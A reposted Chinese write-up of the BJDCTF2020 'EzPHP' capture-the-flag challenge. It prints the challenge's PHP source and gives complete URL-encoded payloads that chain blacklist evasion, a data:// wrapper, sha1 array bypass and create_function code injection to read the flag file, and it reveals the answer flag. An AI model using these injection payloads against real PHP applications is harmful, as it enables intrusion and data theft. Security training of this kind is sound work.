[BJDCTF2020]----EzPHP

2024-03-10 19:36
文章标签 bjdctf2020 ezphp

本文主要是介绍[BJDCTF2020]----EzPHP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • pass-1
  • pass-2
  • pass-3
  • pass-4
  • pass-5
  • pass-6
  • pass-7

查看题目,右键源代码,发现GFXEIM3YFZYGQ4A=,base64解码:1nD3x.php

在这里插入图片描述
在这里插入图片描述

访问1nD3x.php,代码审计,一步一步分析

 <?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

pass-1

if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
} 

$_SERVER['QUERY_STRING']返回传入的参数,不进行url编码,而get传参时,会url编码,解析时自动url解码,也就是说我们可以将传参进行url编码绕过

什么意思呢?
http://localhost/index.php?file=flag.php
经过$_SERVER['QUERY_STRING’]它返回file=flag.php,不允许出现flag,将flagurl编码成f%6clg

pass-2

if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!'); 
&d%65bu=%65qua_is_cut%65%0a

preg_match(^$)绕过,在最后加入%0a(换行符),进行绕过

pass-3

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}
$_REQUEST,可以进行get,post传参,但是post的优先级大于get,所以当get传值后,以post提交数字,就可以覆盖get值,进行绕过

pass-4

if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

文件读取,文件中必须有debu_debu_aqua值,但是http被过滤,远程文件包含失效,想到data协议

&file=data://text/plain,debu_debu_aqua

pass-5

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1和md5一样,强等于,可以使用数组绕过shana[]=1&passwd[]=2

payload

?de%62u=a%71ua_is_cuta%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

在这里插入图片描述

pass-6

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} 

create_function()绕过,简单来讲就是找闭合点,\$code\$arg是可控的

function create($a,$b){return $a*$b
}'$a*$b'就是$arg ,控制$arg为 '}执行的代码;//'
$code为create_function,payload:
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

?de%62u=a%71ua_is_cuta%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
在这里插入图片描述

pass-7

flag在fl4g.php,使用php伪协议require读取fl4g.php文件(因为include被过滤),使用取反绕过正则匹配

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%73%68%61%6e%61[]=a&%70%61%73%73%77%64[]=b&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

在这里插入图片描述

~V�<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?phpecho "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";$rea1_f1114g = "flag{c538bf61-54c9-4c2a-9efd-d3e074438533}";unset($rea1_f1114g);

这篇关于[BJDCTF2020]----EzPHP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/795302

相关文章

BUUCTF---web---[BJDCTF2020]ZJCTF,不过如此

1、点开连接,页面出现了提示 传入一个参数text,里面的内容要包括I have a dream。 构造:?/text=I have a dream。发现页面没有显示。这里推测可能得使用伪协议 在文件包含那一行,我们看到了next.php的提示,我们尝试读取文件 根据代码:我们构造payload /?text=data://text/plain,I have a dream&f

[BJDCTF2020]ZJCTF,不过如此 1

涉及:php的伪协议、preg_replace函数的漏洞和正则表达式的运用。 解题步骤 <?phperror_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>"

BUUCTF---misc---[BJDCTF2020]纳尼

1、下载附件是一个gif图片,但是图片打不开 2、用winhex分析,看到缺少了文件头 3、将文件头通过ASCII码方式粘贴后,保存,图片恢复了正常 4、是一张动图,一共四张,每张都有base64编码 5、用stegsolve分解图片 6、将得到的图片信息按照顺序拼接后进行base64解码,将得到的信息,用flag替换CTF进行提交 flag{{wang_bao_qi

练习 19 Web [BJDCTF2020]Easy MD5

如果你是第一批做这个题的,这道题一点也不easy 打开在前端代码里面看到,输入框输入的内容实际是’password’ 随意输入内容,查看响应header中的内容有一句SQL代码,可知我们要让password在md5后返回值为true 然后尬住,开搜 MD5碰撞 总结ctf中 MD5 绕过的一些思路 ffifdyop——绕过中一个奇妙的字符串 BJDCTF2020 Easy MD5(详细

BJDCTF2020[encode]

题目:encode,地址:encode 查壳发现时upx壳,使用工具脱壳命令"upx -d ",如果遇到工具脱不了的壳就手动脱壳,手动脱壳请帅哥美女*们看这篇手动脱壳。使用ida打开,观察逻辑后重命名函数:逻辑为一个换表base64 + 异或 + RC4。其中RC4可以根据函数传入key,进而生成Box盒子来判断:知道逻辑后,先用RC4脚本解密,key=“Flag{This_a_Flag}”,密

[BJDCTF2020]EzPHP1 --不会编程的崽

有一说一,这题还是有难度的 base32解码url编码绕过$_SERVER换行符绕过preg_match相同参数,post请求覆盖get请求,绕过$_REQUESTphp伪协议利用sha1数组绕过create_function代码注入 Level 1 右键源码里又发现,拿去base32解码即可      <?phphighlight_file(__FILE__);error_r

Twing模板注入 [BJDCTF2020]Cookie is so stable1

打开题目  我们先抓包分析一下 可以输入{{7*7}}处发包试一下 可以看到在cookie处存在ssti模板注入 输入{{7*‘7’}},返回49表示是 Twig 模块 输入{{7*‘7’}},返回7777777表示是 Jinja2 模块 在这里可以看出是Twing模块 我们直接用固定payload就可以得到flag 知识点: 1.

vim恢复.swp [BJDCTF2020]Cookie is so stable1

打开题目 扫描目录得到 关于 .swp 文件 .swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留 在命令行下使用以下命令,可以从指定的交换文件进行恢复: vim -r file.txt.swo 我们把文件拖去kali 用 命令 vi

【web | CTF】BUUCTF [BJDCTF2020]Easy MD5

天命:好像也挺实用的题目,也是比较经典吧 天命:把php的MD5漏洞都玩了一遍 第一关:MD5绕过 先声明一下:这题的MD5是php,不是mysql的MD5,把我搞迷糊了 一进来题目啥也没有,那么就要看源码和抓包了 在响应头发现sql语句 经分析,这sql语句半真半假,应该是这样子的 $sql = "select * from test.admin where passw

[BJDCTF2020]ZJCTF,不过如此

伪协议读取next.php源码   preg_replace() /e代码执行漏洞_preg_replace /e-CSDN博客 查找资料我们发现,在php5.6及以下版本中,/e使得preg_replace的第二个参数可以被当作php代码执行,第二个参数中\\1指的是正则匹配到的第一组文本,是定死的,所以我们可以考虑第一个参数使用.*匹配任意文本,第三个参数${getFlag()}